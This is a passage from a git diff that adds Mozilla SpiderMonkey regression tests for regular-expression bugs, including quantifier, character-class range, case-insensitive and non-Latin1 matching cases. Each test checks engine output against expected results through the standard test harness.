@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367888;
+var summary = 'RegExp /(|)??x/g.exec("y") barfs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = null;
+ actual = /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375642.js b/js/src/tests/ecma_3/RegExp/regress-375642.js
new file mode 100644
index 000000000..267abde7a
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375642.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375642;
+var summary = 'RegExp /(?:a??)+?/.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(?:a??)+?/.exec("")
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375651.js b/js/src/tests/ecma_3/RegExp/regress-375651.js
new file mode 100644
index 000000000..8c8aa05c7
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375651.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375651;
+var summary = 'Do not assert with regexp quantifiers';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(.{2,3}){0,2}?t/.exec("abt");
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375711.js b/js/src/tests/ecma_3/RegExp/regress-375711.js
new file mode 100644
index 000000000..420b8ba49
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375711.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375711;
+var summary = 'Do not assert with /[Q-b]/i.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+
+ // see bug 416933
+ print('see bug 416933 for changed behavior on Gecko 1.9');
+
+ try
+ {
+ s = '/[Q-b]/.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[Q-b]/i.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s = '/[q-b]/.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[q-b]/i.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375715-01-n.js b/js/src/tests/ecma_3/RegExp/regress-375715-01-n.js
new file mode 100644
index 000000000..dbb988ea7
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375715-01-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note that the assertion does not fire if the regexp is
+ // evald or used in new RegExp, so this test must be an -n
+ // with uncaught SyntaxError.
+
+ /[\Wb-G]/.exec("");
+ reportCompare(expect, actual, summary + ' /[\Wb-G]/.exec("")');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375715-02.js b/js/src/tests/ecma_3/RegExp/regress-375715-02.js
new file mode 100644
index 000000000..7d1965ab6
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375715-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[\s-:]/;
+ reportCompare(expect, actual, summary + '/[\s-:]/');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375715-03.js b/js/src/tests/ecma_3/RegExp/regress-375715-03.js
new file mode 100644
index 000000000..f701997e6
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375715-03.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[_-t]/i.exec("");
+ reportCompare(expect, actual, summary + '/[_-t]/i.exec("")');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-375715-04.js b/js/src/tests/ecma_3/RegExp/regress-375715-04.js
new file mode 100644
index 000000000..bb37474b3
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-375715-04.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'SyntaxError: invalid range in character class';
+ (new RegExp("[\xDF-\xC7]]", "i")).exec("");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + '(new RegExp("[\xDF-\xC7]]", "i")).exec("")');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-436700.js b/js/src/tests/ecma_3/RegExp/regress-436700.js
new file mode 100644
index 000000000..d595b0182
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-436700.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436700;
+var summary = 'Do not assert: 1 <= num && num <= 0x10000';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ /\2147483648/.exec(String.fromCharCode(140) + "7483648").toString();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-465862.js b/js/src/tests/ecma_3/RegExp/regress-465862.js
new file mode 100644
index 000000000..e771e68f1
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-465862.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465862;
+var summary = 'Do case-insensitive matching correctly in JIT for non-ASCII-letters';
+
+var i = 0;
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+// Note: we must call the RegExp constructor here instead of using
+// literals. Otherwise, because the regexps are compiled at parse
+// time, they will not be compiled to native code and we will not
+// actually be testing jitted regexps.
+
+
+status = inSection(1);
+string = '@';
+pattern = new RegExp('@', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(2);
+string = '`';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(3);
+string = '@';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+string = '`';
+pattern = new RegExp('@', 'i');
+print(string + ' ' + pattern);
+actualmatch = string.match(pattern);
+print('z ' + actualmatch);
+print('`'.match(/@/i));
+expectedmatch = null;
+addThis();
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-57572.js b/js/src/tests/ecma_3/RegExp/regress-57572.js
new file mode 100644
index 000000000..3f1383f10
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-57572.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 December 2000
+ *
+ * SUMMARY: Testing regular expressions containing the ? character.
+ * Arose from Bugzilla bug 57572: "RegExp with ? matches incorrectly"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=57572
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 57572;
+var summary = 'Testing regular expressions containing "?"';
+var cnEmptyString = ''; var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /(\S+)?(.*)/;
+string = 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', ' this'); //single space in front of 'this'
+addThis();
+
+status = inSection(2);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string= 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', 'this'); //NO space in front of 'this'
+addThis();
+
+status = inSection(3);
+pattern = /(\S+)?(.*)/;
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', ' phrase, with six - (short) words'); //single space in front of 'phrase'
+addThis();
+
+status = inSection(4);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', 'phrase, with six - (short) words'); //NO space in front of 'phrase'
+addThis();
+
+
+// let's add an extra back-reference this time - three instead of two -
+status = inSection(5);
+pattern = /(\S+)?( ?)(.*)/; //single space before second ? character
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', cnSingleSpace, 'phrase, with six - (short) words');
+addThis();
+
+status = inSection(6);
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+string = 'AAABBB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAABB', cnEmptyString, 'B');
+addThis();
+
+status = inSection(7);
+pattern = /(\S+)?(!?)(.*)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW', cnEmptyString, ' !!! !!!');
+addThis();
+
+status = inSection(8);
+pattern = /(.+)?(!?)(!+)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW !!! !!', cnEmptyString, '!');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-57631.js b/js/src/tests/ecma_3/RegExp/regress-57631.js
new file mode 100644
index 000000000..5995fe496
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-57631.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57631:
+ * "RegExp with invalid pattern or invalid flag causes segfault"
+ *
+ * Either error should throw an exception of type SyntaxError,
+ * and we check to see that it does...
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '57631';
+var summary = 'Testing new RegExp(pattern,flag) with illegal pattern or flag';
+var statprefix = 'Testing for error creating illegal RegExp object on pattern ';
+var statsuffix = 'and flag ';
+var cnSUCCESS = 'SyntaxError';
+var cnFAILURE = 'not a SyntaxError';
+var singlequote = "'";
+var i = -1; var j = -1; var s = ''; var f = '';
+var obj = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var legalpatterns = new Array(); var illegalpatterns = new Array();
+var legalflags = new Array(); var illegalflags = new Array();
+
+
+// valid regular expressions to try -
+legalpatterns[0] = '';
+legalpatterns[1] = 'abc';
+legalpatterns[2] = '(.*)(3-1)\s\w';
+legalpatterns[3] = '(.*)(...)\\s\\w';
+legalpatterns[4] = '[^A-Za-z0-9_]';
+legalpatterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// invalid regular expressions to try -
+illegalpatterns[0] = '(?)';
+illegalpatterns[1] = '(a';
+illegalpatterns[2] = '( ]';
+//illegalpatterns[3] = '\d{1,s}';
+
+// valid flags to try -
+legalflags[0] = 'i';
+legalflags[1] = 'g';
+legalflags[2] = 'm';
+legalflags[3] = undefined;
+
+// invalid flags to try -
+illegalflags[0] = 'a';
+illegalflags[1] = 123;
+illegalflags[2] = new RegExp();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testIllegalRegExps(legalpatterns, illegalflags);
+ testIllegalRegExps(illegalpatterns, legalflags);
+ testIllegalRegExps(illegalpatterns, illegalflags);
+
+ exitFunc ('test');
+}
+
+
+// This function will only be called where all the patterns are illegal, or all the flags
+function testIllegalRegExps(patterns, flags)
+{
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ actual = cnFAILURE;
+ expect = cnSUCCESS;
+
+ try
+ {
+ // This should cause an exception if either s or f is illegal -
+ eval('obj = new RegExp(s, f);');
+ }
+ catch(e)
+ {
+ // We expect to get a SyntaxError - test for this:
+ if (e instanceof SyntaxError)
+ actual = cnSUCCESS;
+ }
+
+ reportCompare(expect, actual, status);
+ }
+ }
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + statsuffix + quote(flag));
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-67773.js b/js/src/tests/ecma_3/RegExp/regress-67773.js
new file mode 100644
index 000000000..68cdae681
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-67773.js
@@ -0,0 +1,177 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 67773:
+ * "Regular subexpressions followed by + failing to run to completion"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=67773
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 67773;
+var summary = 'Testing regular subexpressions followed by ? or +\n';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+status = inSection(1);
+string = 'AAABBB AAABBB '; //single space at middle and at end -
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+string = 'AAABBB BBB'; //single space in the middle
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAABBB', cnSingleSpace, 'BBB');
+addThis();
+
+status = inSection(3);
+string = 'AAABBB AAABBB'; //single space in the middle
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+pattern = /^(A+B)+$/;
+status = inSection(4);
+string = 'AABAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAB');
+addThis();
+
+status = inSection(5);
+string = 'ABAABAAAAAAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAAAAAB');
+addThis();
+
+status = inSection(6);
+string = 'ABAABAABAB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AB');
+addThis();
+
+status = inSection(7);
+string = 'ABAABAABABB';
+actualmatch = string.match(pattern);
+expectedmatch = null; // because string doesn't match at end
+addThis();
+
+
+pattern = /^(A+1)+$/;
+status = inSection(8);
+string = 'AA1AA1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AA1');
+addThis();
+
+
+pattern = /^(\w+\-)+$/;
+status = inSection(9);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+string = 'bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, string);
+addThis();
+
+status = inSection(11);
+string = 'bla-bla'; // hyphen missing at end -
+actualmatch = string.match(pattern);
+expectedmatch = null; //because string doesn't match at end
+addThis();
+
+status = inSection(12);
+string = 'bla-bla-';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'bla-');
+addThis();
+
+
+pattern = /^(\S+)+(A+)$/;
+status = inSection(13);
+string = 'asdldflkjAAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkjAA', 'A');
+addThis();
+
+status = inSection(14);
+string = 'asdldflkj AAA'; // space in middle
+actualmatch = string.match(pattern);
+expectedmatch = null; //because of the space
+addThis();
+
+
+pattern = /^(\S+)+(\d+)$/;
+status = inSection(15);
+string = 'asdldflkj122211';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj12221', '1');
+addThis();
+
+status = inSection(16);
+string = 'asdldflkj1111111aaa1';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'asdldflkj1111111aaa', '1');
+addThis();
+
+
+/*
+ * This one comes from Stephen Ostermiller.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+pattern = /^[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)+$/;
+status = inSection(17);
+string = 'some.host.tld';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '.tld', '.');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-72964.js b/js/src/tests/ecma_3/RegExp/regress-72964.js
new file mode 100644
index 000000000..b41b74c32
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-72964.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-17
+ *
+ * SUMMARY: Regression test for Bugzilla bug 72964:
+ * "String method for pattern matching failed for Chinese Simplified (GB2312)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72964
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 72964;
+var summary = 'Testing regular expressions containing non-Latin1 characters';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /[\S]+/;
+// 4 low Unicode chars = Latin1; whole string should match
+status = inSection(1);
+string = '\u00BF\u00CD\u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(2);
+string = '\u00BF\u00CD \u00BB\u00A7';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u00BF\u00CD');
+addThis();
+
+
+// 4 high Unicode chars = non-Latin1; whole string should match
+status = inSection(3);
+string = '\u4e00\uac00\u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+// Now put a space in the middle; first half of string should match
+status = inSection(4);
+string = '\u4e00\uac00 \u4e03\u4e00';
+actualmatch = string.match(pattern);
+expectedmatch = Array('\u4e00\uac00');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-76683.js b/js/src/tests/ecma_3/RegExp/regress-76683.js
new file mode 100644
index 000000000..8b8406441
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-76683.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 76683 on Rhino:
+ * "RegExp regression (NullPointerException)"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76683
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76683;
+var summary = 'Regression test for Bugzilla bug 76683';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Rhino (2001-04-19) crashed on the 3rd regular expression below.
+ * It didn't matter what the string was. No problem in SpiderMonkey -
+ */
+string = 'abc';
+status = inSection(1);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<([\$\w:\.\-]+)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// This was the one causing a Rhino crash -
+status = inSection(3);
+pattern = /(<!--([^-]|-[^-]|--[^>])*-->)|(<(tagPattern)((([ ][^\/>]*)?\/>)|(([ ][^>]*)?>)))|(<\/tagPattern[^>]*>)/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-78156.js b/js/src/tests/ecma_3/RegExp/regress-78156.js
new file mode 100644
index 000000000..0bd990977
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-78156.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 78156:
+ * "m flag of regular expression does not work with $"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78156
+ *
+ * The m flag means a regular expression should search strings
+ * across multiple lines, i.e. across '\n', '\r'.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
